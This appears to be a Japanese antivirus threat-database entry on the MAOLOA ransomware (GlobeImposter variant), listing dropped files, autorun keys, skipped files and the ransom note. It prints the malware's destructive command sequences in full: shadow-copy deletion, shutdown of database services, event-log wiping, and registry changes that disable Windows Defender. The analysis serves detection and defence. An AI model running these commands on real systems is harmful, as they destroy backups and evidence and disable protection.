Ransom.Win32.MAOLOA.THAAHBA

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

身代金要求文書のファイルを作成します。 以下のファイル拡張子を持つファイルは暗号化しません。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

• %User Temp%\7ZipSfx.{3 digit number}\kiwvyrcee.com → script used to trigger the malicious routine
• %User Temp%\7ZipSfx.{3 digit number}\cnbbrnrhi.com → used to generate rundll32.com
• %User Temp%\7ZipSfx.{3 digit number}\rundll32.com → AutoIt executable used to execute the ransomware
• %User Temp%\7ZipSfx.{3 digit number}\qnsdpztxh.com → obfuscated and encrypted ransomware
• %User Temp%\7ZipSfx.{3 digit number}\lozgzxher.com → encrypted Autoit decryptor
• %User Temp%\7ZipSfx.{3 digit number}\Q → decrypted Autoit decryptor
• %User Temp%\7ZipSfx.{3 digit number}\ids.txt -> contains error logs

マルウェアは、以下のプロセスを追加します。

• "%System%\cmd.exe" /c echo ywrmqtdba
• "%System%\cmd.exe" /c cmd < kiwvyrcee.com
• certutil -decode lozgzxher.com Q
• %System%\cmd.exe /c @echo off
  sc config browser
  sc config browser start=enabled
  vssadmin delete shadows /all /quiet
  sc stop vss
  sc config vss start=disabled
  sc stop MongoDB
  sc config MongoDB start=disabled
  sc stop SQLWriter
  sc config SQLWriter start=disabled
  sc stop MSSQLServerOLAPService
  sc config MSSQLServerOLAPService start=disabled
  sc stop MSSQLSERVER
  sc config MSSQLSERVER start=disabled
  sc stop MSSQL$SQLEXPRESS
  sc config MSSQL$SQLEXPRESS start=disabled
  sc stop ReportServer
  sc config ReportServer start=disabled
  sc stop OracleServiceORCL
  sc config OracleServiceORCL start=disabled
  sc stop OracleDBConsoleorcl
  sc config OracleDBConsoleorcl start=disabled
  sc stop OracleMTSRecoveryService
  sc config OracleMTSRecoveryService start=disabled
  sc stop OracleVssWriterORCL
  sc config OracleVssWriterORCL start=disabled
  sc stop MySQL
  sc config MySQL start=disabled;
• ping -n 1 wnmosszxn
• rundll32.com Q
• %User Temp%\7ZipSfx.{3 digit number}\rundll32.com
• "%System%\cmd.exe" /c del %User Temp%\7ZipSfx.{3 digit number}\rundll32.com > nul
• %System%\cmd.exe /c @echo off
  vssadmin Delete Shadows /all /quiet
  reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
  reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
  reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
  for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil cl "%1"

自動実行方法

マルウェアは、自身のコピーがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\RunOnce
WindowsUpdateCheck = {Executed Malware Directory}\rundll32.com

他のシステム変更

マルウェアは、以下のレジストリ値を変更します。

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows\HomeGroup
DisableHomeGroup = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender
DisableAntiSpyware = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableRealtimeMonitoring = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableBehaviorMonitoring = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableOnAccessProtection = 1

ランサムウェアの不正活動

マルウェアは、ファイル名に以下の文字列を含むファイルの暗号化はしません。

• windows
• bootmgr
• pagefile.sys
• boot
• ids.txt
• NTUSER.DAT
• PerfLogs

マルウェアは、暗号化されたファイルのファイル名に以下の拡張子を追加します。

• {original filename}.{original extension}.Globeimposter-Alpha865qqz

マルウェアが作成する以下のファイルは、脅迫状です。

• {Encrypted Directory}\HOW TO BACK YOUR FILES.txt
  

以下のファイル拡張子を持つファイルについては暗号化しません：

• .dll
• .lnk
• .ini
• .sys